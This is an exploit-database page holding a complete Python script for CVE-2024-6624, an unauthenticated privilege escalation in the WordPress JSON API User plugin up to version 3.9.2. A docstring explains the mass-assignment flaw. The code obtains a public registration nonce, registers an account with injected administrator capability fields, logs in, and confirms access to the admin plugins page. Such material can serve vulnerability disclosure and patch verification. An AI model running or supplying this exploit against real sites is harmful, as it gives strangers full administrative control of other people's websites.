Share
## https://sploitus.com/exploit?id=PACKETSTORM:226416
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin JSON API User <= 3.9.2 - Unauthenticated Privilege Escalation to Administrator (Mass-Assignment)
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/json-api-user/
# Software Link: https://downloads.wordpress.org/plugin/json-api-user.3.9.2.zip
# Version: 3.9.2 (REQUIRED)
# Tested on: WordPress 6.1.1, PHP 7.4, MariaDB 10.6 (Docker, Debian / Linux)
# CVE : CVE-2024-6624
"""
JSON API User <= 3.9.2 extends the JSON API plugin with a /user/register endpoint. After creating
the account with wp_insert_user() (controllers/User.php:147), it iterates the attacker-controlled
`custom_fields` array straight into update_user_meta() with NO key allowlist:
controllers/User.php:166 if (is_array($_REQUEST['custom_fields'])) {
controllers/User.php:168 foreach ($_REQUEST['custom_fields'] as $field=>$val) {
controllers/User.php:169 $data[$field] = update_user_meta($user_id, $field, $val);
Supplying custom_fields[wp_capabilities][administrator]=1 (and wp_user_level=10) writes the
administrator role capability onto the freshly-created user. An unauthenticated visitor registers
and is immediately an administrator.
The required registration nonce is handed out to anyone by the JSON API core get_nonce method
(?json=get_nonce&controller=user&method=register) โ no authentication needed.
Prior state: JSON API core plugin active + its 'user' controller enabled
(option json_api_controllers contains 'user') + users_can_register = 1.
"""
import argparse, sys, re, random
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="e.g. http://localhost:8091")
ap.add_argument("--user", default="jau" + str(random.randint(1000, 99999)))
ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
args = ap.parse_args()
base = args.target.rstrip("/")
s = requests.Session(); s.verify = False
nr = s.get(base + "/?json=get_nonce&controller=user&method=register&insecure=cool", timeout=25)
try:
nonce = nr.json().get("nonce")
except Exception:
nonce = None
print(f"[*] Target: {base} | unauth register nonce: {nonce}")
if not nonce:
print("[-] could not obtain nonce (json-api 'user' controller enabled?)"); return 1
q = {"json": "user/register", "username": args.user, "email": args.user + "@evil.com",
"nonce": nonce, "insecure": "cool", "user_pass": args.pw, "display_name": args.user,
"custom_fields[wp_capabilities][administrator]": "1", "custom_fields[wp_user_level]": "10"}
r = s.get(base + "/", params=q, timeout=25)
print(f"[*] register -> HTTP {r.status_code} :: {re.sub(chr(92)+'s+',' ',r.text[:160])}")
# prove: log in as the new user and reach an administrator-only screen
a = requests.Session(); a.verify = False
a.get(base + "/wp-login.php"); a.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
a.post(base + "/wp-login.php", data={"log": args.user, "pwd": args.pw, "wp-submit": "Log In",
"redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
p = a.get(base + "/wp-admin/plugins.php", timeout=20)
if p.status_code == 200 and ("Deactivate" in p.text or "plugin-title" in p.text):
print(f"\n[+] PRIVILEGE ESCALATION CONFIRMED โ new user '{args.user}' is administrator "
f"(reached wp-admin/plugins.php).")
return 0
print(f"\n[-] not confirmed (plugins.php={p.status_code})"); return 1
if __name__ == "__main__":
sys.exit(main())